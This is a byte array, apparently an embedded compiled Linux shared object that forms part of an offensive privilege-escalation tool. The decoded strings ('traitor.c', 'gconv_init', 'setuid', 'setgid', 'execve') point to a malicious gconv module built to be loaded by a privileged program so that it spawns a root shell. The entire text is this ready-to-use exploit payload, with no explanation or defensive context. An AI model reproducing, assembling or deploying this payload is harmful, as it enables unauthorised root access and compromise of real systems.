  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  48, 17, 0, 0, 0, 0, 0, 0, 224, 16, 0, 0, 0, 0, 0, 0,
  1, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0,
  12, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0,
  13, 0, 0, 0, 0, 0, 0, 0, 184, 17, 0, 0, 0, 0, 0, 0,
  25, 0, 0, 0, 0, 0, 0, 0, 16, 62, 0, 0, 0, 0, 0, 0,
  27, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  26, 0, 0, 0, 0, 0, 0, 0, 24, 62, 0, 0, 0, 0, 0, 0,
  28, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  245, 254, 255, 111, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0,
  5, 0, 0, 0, 0, 0, 0, 0, 48, 4, 0, 0, 0, 0, 0, 0,
  6, 0, 0, 0, 0, 0, 0, 0, 40, 3, 0, 0, 0, 0, 0, 0,
  10, 0, 0, 0, 0, 0, 0, 0, 150, 0, 0, 0, 0, 0, 0, 0,
  11, 0, 0, 0, 0, 0, 0, 0, 24, 0, 0, 0, 0, 0, 0, 0,
  3, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0,
  2, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 0, 0, 0, 0, 0,
  20, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 0, 0,
  23, 0, 0, 0, 0, 0, 0, 0, 168, 5, 0, 0, 0, 0, 0, 0,
  7, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0,
  8, 0, 0, 0, 0, 0, 0, 0, 168, 0, 0, 0, 0, 0, 0, 0,
  9, 0, 0, 0, 0, 0, 0, 0, 24, 0, 0, 0, 0, 0, 0, 0,
  254, 255, 255, 111, 0, 0, 0, 0, 224, 4, 0, 0, 0, 0, 0, 0,
  255, 255, 255, 111, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
  240, 255, 255, 111, 0, 0, 0, 0, 198, 4, 0, 0, 0, 0, 0, 0,
  249, 255, 255, 111, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  32, 62, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 54, 16, 0, 0, 0, 0, 0, 0,
  70, 16, 0, 0, 0, 0, 0, 0, 86, 16, 0, 0, 0, 0, 0, 0,
  102, 16, 0, 0, 0, 0, 0, 0, 56, 64, 0, 0, 0, 0, 0, 0,
  71, 67, 67, 58, 32, 40, 71, 78, 85, 41, 32, 49, 49, 46, 49, 46,
  48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1, 0, 0, 0, 4, 0, 241, 255, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 12, 0, 0, 0, 2, 0, 12, 0,
  112, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  14, 0, 0, 0, 2, 0, 12, 0, 160, 16, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 33, 0, 0, 0, 2, 0, 12, 0,
  224, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  55, 0, 0, 0, 1, 0, 23, 0, 64, 64, 0, 0, 0, 0, 0, 0,
  1, 0, 0, 0, 0, 0, 0, 0, 67, 0, 0, 0, 1, 0, 18, 0,
  24, 62, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  106, 0, 0, 0, 2, 0, 12, 0, 48, 17, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 118, 0, 0, 0, 1, 0, 17, 0,
  16, 62, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  149, 0, 0, 0, 4, 0, 241, 255, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 4, 0, 241, 255,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  159, 0, 0, 0, 1, 0, 16, 0, 244, 32, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 241, 255,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  173, 0, 0, 0, 2, 0, 13, 0, 184, 17, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 179, 0, 0, 0, 1, 0, 22, 0,
  56, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  192, 0, 0, 0, 1, 0, 19, 0, 32, 62, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 201, 0, 0, 0, 0, 0, 15, 0,
  84, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  220, 0, 0, 0, 1, 0, 22, 0, 64, 64, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 232, 0, 0, 0, 1, 0, 21, 0,
  0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  179, 1, 0, 0, 2, 0, 10, 0, 0, 16, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 254, 0, 0, 0, 32, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  26, 1, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 45, 1, 0, 0, 32, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  60, 1, 0, 0, 18, 0, 12, 0, 57, 17, 0, 0, 0, 0, 0, 0,
  7, 0, 0, 0, 0, 0, 0, 0, 66, 1, 0, 0, 18, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  85, 1, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 102, 1, 0, 0, 32, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  128, 1, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 147, 1, 0, 0, 34, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  174, 1, 0, 0, 18, 0, 12, 0, 64, 17, 0, 0, 0, 0, 0, 0,
  118, 0, 0, 0, 0, 0, 0, 0, 0, 99, 114, 116, 115, 116, 117, 102,
  102, 46, 99, 0, 100, 101, 114, 101, 103, 105, 115, 116, 101, 114, 95, 116,
  109, 95, 99, 108, 111, 110, 101, 115, 0, 95, 95, 100, 111, 95, 103, 108,
  111, 98, 97, 108, 95, 100, 116, 111, 114, 115, 95, 97, 117, 120, 0, 99,
  111, 109, 112, 108, 101, 116, 101, 100, 46, 48, 0, 95, 95, 100, 111, 95,
  103, 108, 111, 98, 97, 108, 95, 100, 116, 111, 114, 115, 95, 97, 117, 120,
  95, 102, 105, 110, 105, 95, 97, 114, 114, 97, 121, 95, 101, 110, 116, 114,
  121, 0, 102, 114, 97, 109, 101, 95, 100, 117, 109, 109, 121, 0, 95, 95,
  102, 114, 97, 109, 101, 95, 100, 117, 109, 109, 121, 95, 105, 110, 105, 116,
  95, 97, 114, 114, 97, 121, 95, 101, 110, 116, 114, 121, 0, 116, 114, 97,
  105, 116, 111, 114, 46, 99, 0, 95, 95, 70, 82, 65, 77, 69, 95, 69,
  78, 68, 95, 95, 0, 95, 102, 105, 110, 105, 0, 95, 95, 100, 115, 111,
  95, 104, 97, 110, 100, 108, 101, 0, 95, 68, 89, 78, 65, 77, 73, 67,
  0, 95, 95, 71, 78, 85, 95, 69, 72, 95, 70, 82, 65, 77, 69, 95,
  72, 68, 82, 0, 95, 95, 84, 77, 67, 95, 69, 78, 68, 95, 95, 0,
  95, 71, 76, 79, 66, 65, 76, 95, 79, 70, 70, 83, 69, 84, 95, 84,
  65, 66, 76, 69, 95, 0, 95, 73, 84, 77, 95, 100, 101, 114, 101, 103,
  105, 115, 116, 101, 114, 84, 77, 67, 108, 111, 110, 101, 84, 97, 98, 108,
  101, 0, 101, 120, 101, 99, 118, 101, 64, 71, 76, 73, 66, 67, 95, 50,
  46, 50, 46, 53, 0, 95, 95, 103, 109, 111, 110, 95, 115, 116, 97, 114,
  116, 95, 95, 0, 103, 99, 111, 110, 118, 0, 115, 101, 116, 103, 105, 100,
  64, 71, 76, 73, 66, 67, 95, 50, 46, 50, 46, 53, 0, 101, 120, 105,
  116, 64, 71, 76, 73, 66, 67, 95, 50, 46, 50, 46, 53, 0, 95, 73,
  84, 77, 95, 114, 101, 103, 105, 115, 116, 101, 114, 84, 77, 67, 108, 111,
  110, 101, 84, 97, 98, 108, 101, 0, 115, 101, 116, 117, 105, 100, 64, 71,
  76, 73, 66, 67, 95, 50, 46, 50, 46, 53, 0, 95, 95, 99, 120, 97,
  95, 102, 105, 110, 97, 108, 105, 122, 101, 64, 71, 76, 73, 66, 67, 95,
  50, 46, 50, 46, 53, 0, 103, 99, 111, 110, 118, 95, 105, 110, 105, 116,
  0, 0, 46, 115, 121, 109, 116, 97, 98, 0, 46, 115, 116, 114, 116, 97,
  98, 0, 46, 115, 104, 115, 116, 114, 116, 97, 98, 0, 46, 110, 111, 116,
  101, 46, 103, 110, 117, 46, 112, 114, 111, 112, 101, 114, 116, 121, 0, 46,
  110, 111, 116, 101, 46, 103, 110, 117, 46, 98, 117, 105, 108, 100, 45, 105,
  100, 0, 46, 103, 110, 117, 46, 104, 97, 115, 104, 0, 46, 100, 121, 110,
  115, 121, 109, 0, 46, 100, 121, 110, 115, 116, 114, 0, 46, 103, 110, 117,
  46, 118, 101, 114, 115, 105, 111, 110, 0, 46, 103, 110, 117, 46, 118, 101,
  114, 115, 105, 111, 110, 95, 114, 0, 46, 114, 101, 108, 97, 46, 100, 121,
  110, 0, 46, 114, 101, 108, 97, 46, 112, 108, 116, 0, 46, 105, 110, 105,
  116, 0, 46, 116, 101, 120, 116, 0, 46, 102, 105, 110, 105, 0, 46, 114,
  111, 100, 97, 116, 97, 0, 46, 101, 104, 95, 102, 114, 97, 109, 101, 95,
  104, 100, 114, 0, 46, 101, 104, 95, 102, 114, 97, 109, 101, 0, 46, 105,
  110, 105, 116, 95, 97, 114, 114, 97, 121, 0, 46, 102, 105, 110, 105, 95,
  97, 114, 114, 97, 121, 0, 46, 100, 121, 110, 97, 109, 105, 99, 0, 46,
  103, 111, 116, 0, 46, 103, 111, 116, 46, 112, 108, 116, 0, 46, 100, 97,
  116, 97, 0, 46, 98, 115, 115, 0, 46, 99, 111, 109, 109, 101, 110, 116,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 27, 0, 0, 0, 7, 0, 0, 0,
  2, 0, 0, 0, 0, 0, 0, 0, 168, 2, 0, 0, 0, 0, 0, 0,
  168, 2, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 46, 0, 0, 0, 7, 0, 0, 0,
  2, 0, 0, 0, 0, 0, 0, 0, 216, 2, 0, 0, 0, 0, 0, 0,
  216, 2, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 65, 0, 0, 0, 246, 255, 255, 111,
  2, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0,
  0, 3, 0, 0, 0, 0, 0, 0, 40, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
